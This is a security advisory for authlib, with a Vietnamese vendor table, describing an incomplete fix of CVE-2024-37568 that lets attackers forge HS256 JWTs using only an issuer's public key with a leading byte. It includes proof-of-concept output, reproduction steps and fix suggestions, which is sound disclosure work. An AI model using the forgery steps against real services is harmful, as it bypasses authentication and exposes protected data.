| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| authlib | ≥ 1.3.1, < 1.9.0 | 1.9.0 |
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
The relying party uses the documented module-level jwt object. from authlib.jose import jwt
is built at authlib/jose/__init__.py:55-72 with the full list
["HS256","HS384","HS512","RS256",...,"EdDSA"], and JsonWebToken.decode
(authlib/jose/rfc7519/jwt.py:80) exposes no algorithms parameter, so a caller of the
documented object has no way to narrow it. This is the first code sample in
docs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
that the mixed list exists — it is that the backstop shipped for precisely
that documented hazard does not hold.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíoct_key.py:81The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN . Each of the following forms was confirmed to forge, and each also still verifies a
genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:
CERTIFICATE PEM instead of a PUBLIC KEY PEMA raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59 — HMACAlgorithm.prepare_key(raw_data) returns
OctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80 — JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked
only against the instance's list.authlib/jose/__init__.py:55-72 — that list contains both HS* and RS*/ES*/PS*/EdDSA.So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
pip install authlib==1.8.0 cryptography flask requestsauthlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS does not match those bytes with
startswith, while cryptography.hazmat.primitives.serialization.load_pem_public_key loads them.from authlib.jose import jwt then
tok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem) — verification succeeds and the claims are returned.Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.jose emits AuthlibDeprecationWarning ("please use joserfc instead. It will be compatible
before version 2.0.0"). It is deprecated but still shipped, still documented in docs/jose/jwt.rst,
and still carries the download volume above.kty in the
data model, so jwt.decode with an RSAKey/ECKey and alg=HS256 raises InvalidKeyTypeError for
every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what
makes the class unrepresentable there.Either of these closes the class rather than one more byte form:
load_pem_public_key /
load_pem_x509_certificate / load_ssh_public_key / load_der_public_key on the candidate and
reject it as an oct key if any of them succeeds. This is the approach that makes joserfc immune and
it cannot drift out of step with the loader, because it is the loader.any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the -----BEGIN CERTIFICATE----- and
DER SubjectPublicKeyInfo cases. This is strictly weaker than (1): the recogniser can drift again
the next time cryptography becomes more tolerant.Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Found by zer0d4y5. Happy to test a patch branch before release.